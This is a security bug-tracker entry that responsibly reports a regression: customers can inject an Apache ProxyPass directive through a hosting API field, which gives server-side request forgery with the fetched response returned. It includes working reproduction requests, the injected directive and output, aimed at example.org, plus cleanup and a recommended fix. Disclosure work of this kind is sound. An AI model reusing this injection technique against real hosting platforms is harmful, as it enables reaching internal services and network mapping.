Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by zlynv - 15.10.2026
Last edited by cbay - 15.10.2026

FS#527 - REGRESSION of FS#305 / FS#504 / FS#520: ProxyPass SSRF via //vhost_additional_directives//

REGRESSION of  FS#305  /  FS#504  /  FS#520 : ProxyPass SSRF via vhost_additional_directives still live — fix not deployed

Severity: High (CVSS 3.1 7.5 — same as accepted  FS#520 )
CVSS vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
References:  FS#305  (original),  FS#504  (mine, dup-closed against 305 on 28.09.2026),  FS#520  (closed 06.10.2026, reported High 7.5)

Summary

This issue has now been reported in three tasks (305 → 504 → 520) while remaining fully exploitable. I re-tested on 14.10.2026: an authenticated customer can still inject an unrestricted Apache ProxyPass directive through PATCH /v1/site/{id} → vhost_additional_directives ( FS#520  already showed a free account suffices), and the platform's Apache still proxies arbitrary upstream URLs and returns the responses. No fix from any of the three tasks is deployed (or it was reverted). Per your SSRF rule I stopped testing the moment server-side fetching was re-confirmed and reverted everything immediately — I did not re-probe internal targets (that ground was already covered by  FS#520 ).

Reproduction (own test site only, 14.10.2026)

Step 1 — inject (accepted, no validation):

PATCH https://api.alwaysdata.com/v1/site/1080353/ {"vhost_additional_directives":"ProxyPass /p5x http://example.org/\nProxyPassReverse /p5x http://example.org/"}

→ 204

Step 2 — confirm stored:

GET https://api.alwaysdata.com/v1/site/1080353/

→

"vhost_additional_directives": "ProxyPass /p5x http://example.org/..."

Step 3 — trigger (server-side fetch, response returned to attacker):

GET https://docs.alwaysdata.net/p5x

→ 200, 577 bytes, body begins

<!doctype html><html lang=en>...<title>Example Domain</title>

— content fetched by alwaysdata's server from example.org and served back, exactly the  FS#520  PoC.

Step 4 — immediate cleanup (same session):

PATCH ... {"vhost_additional_directives":""}

→ 204; after reload:

GET /p5x

→ 404, directives field empty, site homepage 200. No artifacts remain.

Impact

Identical to accepted  FS#520 : any authenticated customer (free account suffices) can make alwaysdata's server infrastructure issue HTTP requests to arbitrary URLs and read the responses — SSRF with response readout, usable for internal-service reach, IP-reputation abuse, and network mapping. The only thing that changed since  FS#520  is that the issue was marked closed while remaining exploitable.

Recommended fix

Same as  FS#520  (allowlist of safe directive prefixes; reject Proxy*/RewriteRule-external/Alias-outside-home/Include/LoadModule) — plus a deployment check: add a post-deploy acceptance test that PATCHes a ProxyPass directive and asserts rejection, because the current fix demonstrably did not reach (or did not stick on) the web tier.

Cleanup

Fully reverted and verified (directives empty, probe path 404, homepage 200). No accounts, jobs, services, files, or other customers touched.

Closed by  cbay
15.10.2026 07:14
Reason for closing:  Duplicate
Additional comments about closing:  

https://security.alwaysda ta.com/task/305

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing